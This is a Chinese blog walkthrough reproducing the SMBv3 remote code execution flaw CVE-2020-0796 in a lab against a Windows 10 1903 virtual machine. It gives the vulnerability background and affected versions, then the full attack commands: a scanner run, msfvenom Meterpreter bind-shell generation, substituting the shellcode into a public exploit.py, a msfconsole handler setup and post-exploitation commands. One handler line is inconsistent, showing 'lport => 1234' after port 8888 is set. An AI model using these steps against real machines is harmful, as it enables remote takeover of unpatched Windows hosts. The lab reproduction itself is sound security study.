• CVE-2020-0796漏洞复现


    1 漏洞简介
    2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
    该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。

    2 影响范围
    漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
    Windows 10 Version 1903 for 32-bit Systems
    Windows 10 Version 1903 for x64-based Systems
    Windows 10 Version 1903 for ARM64-based Systems
    Windows Server, Version 1903 (Server Core installation)
    Windows 10 Version 1909 for 32-bit Systems
    Windows 10 Version 1909 for x64-based Systems
    Windows 10 Version 1909 for ARM64-based Systems
    Windows Server, Version 1909 (Server Core installation)
    2|1 SMB介绍
    Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
    Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
    利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

    3 复现步骤
    3|1环境要求
    1.win10虚拟机(1903版本)
    ip:192.168.93.132
    2.关闭defender和防火墙
    3.Kali Linux(确保可以和win10虚拟机ping通)
    ip:192.168.93.128
    3|2利用步骤
    (1)首先验证目标靶机是否存在漏洞,打开验证脚本,输入python3 scanner.py 192.168.93.132,出现vulnerable证明该靶机存在漏洞。

    (2)生成python的反弹shellcode,输入msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b 'x00' -i 1 -f python

    找到生成的shellcode

    打开利用poc,切换到对应目录下找到exploit.py,找到这一段

    (3)用生成的shellcode将shell脚本工具里面的exploit.py中的user_payload替换掉。保留前面的名字,只替换内容,如图:

    (4)启动msfconsole,设置监听端口
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
    payload => windows/x64/meterpreter/bind_tcp
    msf5 exploit(multi/handler) > set rhost 192.168.93.132
    rhost => 192.168.93.132
    msf5 exploit(multi/handler) > set lport 8888
    lport => 1234
    msf5 exploit(multi/handler) > run

    开启监听端口后,再去运行exploit.py
    python3 exploit.py -ip 192.168.93.132

    连接成功,反弹meterpreter窗口,得到shell

    输入shell进入windows CMD控制台

    发现存在乱码现象,输入chcp 65001解决乱码问题

    输入ipconfig查看目标靶机IP信息

    输入net user查看当前用户:

    办法总比困难多
  • 相关阅读:
    Timer 函数 C#
    【学习笔记】 golang的插件 创建share object
    mongodb数组操作
    mongo数据库的表设计原则:二
    mongodb + nginx 存储照片方案
    mongodb聚合操作$使用例子
    mongo配置复制集
    尼采全集
    java日志框架
    常用包收集
  • 原文地址:https://www.cnblogs.com/dzhhh/p/13153101.html
Copyright © 2020-2023  润新知